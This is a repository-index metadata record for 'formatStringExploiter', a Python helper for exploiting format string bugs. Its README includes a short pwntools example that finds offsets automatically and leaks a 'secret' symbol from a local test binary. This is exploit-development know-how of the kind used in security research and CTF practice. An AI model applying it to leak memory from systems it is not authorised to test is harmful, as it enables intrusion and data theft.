{"id":23419372,"url":"https://github.com/bannsec/formatstringexploiter","last_synced_at":"2025-04-12T12:44:31.828Z","repository":{"id":57431923,"uuid":"52246015","full_name":"bannsec/formatStringExploiter","owner":"bannsec","description":"Helper script for working with format string bugs","archived":false,"fork":false,"pushed_at":"2020-05-02T17:08:09.000Z","size":128,"stargazers_count":57,"open_issues_count":1,"forks_count":14,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-04-08T18:54:50.801Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/bannsec.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-02-22T04:02:57.000Z","updated_at":"2024-12-31T13:49:38.000Z","dependencies_parsed_at":"2022-09-02T12:40:22.731Z","dependency_job_id":null,"html_url":"https://github.com/bannsec/formatStringExploiter","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bannsec%2FformatStringExploiter","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bannsec%2FformatStringExploiter/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bannsec%2FformatStringExploiter/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bannsec%2FformatStringExploiter/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/bannsec","download_url":"https://codeload.github.com/bannsec/formatStringExploiter/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248570202,"owners_count":21126377,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-12-23T01:17:49.730Z","updated_at":"2025-04-12T12:44:31.802Z","avatar_url":"https://github.com/bannsec.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"[![Documentation Status](https://readthedocs.org/projects/formatstringexploiter/badge/?version=latest)](http://formatStringExploiter.readthedocs.org/en/latest/?badge=latest)\n![Tests](https://github.com/bannsec/formatStringExploiter/workflows/Tests/badge.svg?branch=master)\n\n# Docs\nhttp://formatstringexploiter.readthedocs.io/en/latest/index.html\n\n# formatStringExploiter\nHelper script for working with format string bugs\n\nExample\n\n```python\nfrom formatStringExploiter.FormatString import FormatString\nfrom pwn import *\nimport logging\n\nlogging.basicConfig(level=logging.WARN)\nlog = logging.getLogger()\n\nelf = ELF(\"formatStringTest\")\n\n# Defining format string executor here\ndef exec_fmt(s):\n    p = process(\"./formatStringTest\",buffer_fill_size=0xffff)\n    p.sendline(s)\n    p.recvuntil(\"Input a format string: \")\n    out = p.recvuntil(\"Logged in\",drop=True)\n    p.close()\n    return out\n\n# Create the class and self-discover the correct offsets\nfmtStr = FormatString(exec_fmt,elf=elf)\n\n# Leak some point in memory as a string\nfmtStr[elf.symbols['secret']]\n\n# Equivalently, but with caching and more smarts...\nfmtStr.leak.s(elf.symbols['secret'])\n```\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbannsec%2Fformatstringexploiter","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbannsec%2Fformatstringexploiter","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbannsec%2Fformatstringexploiter/lists"}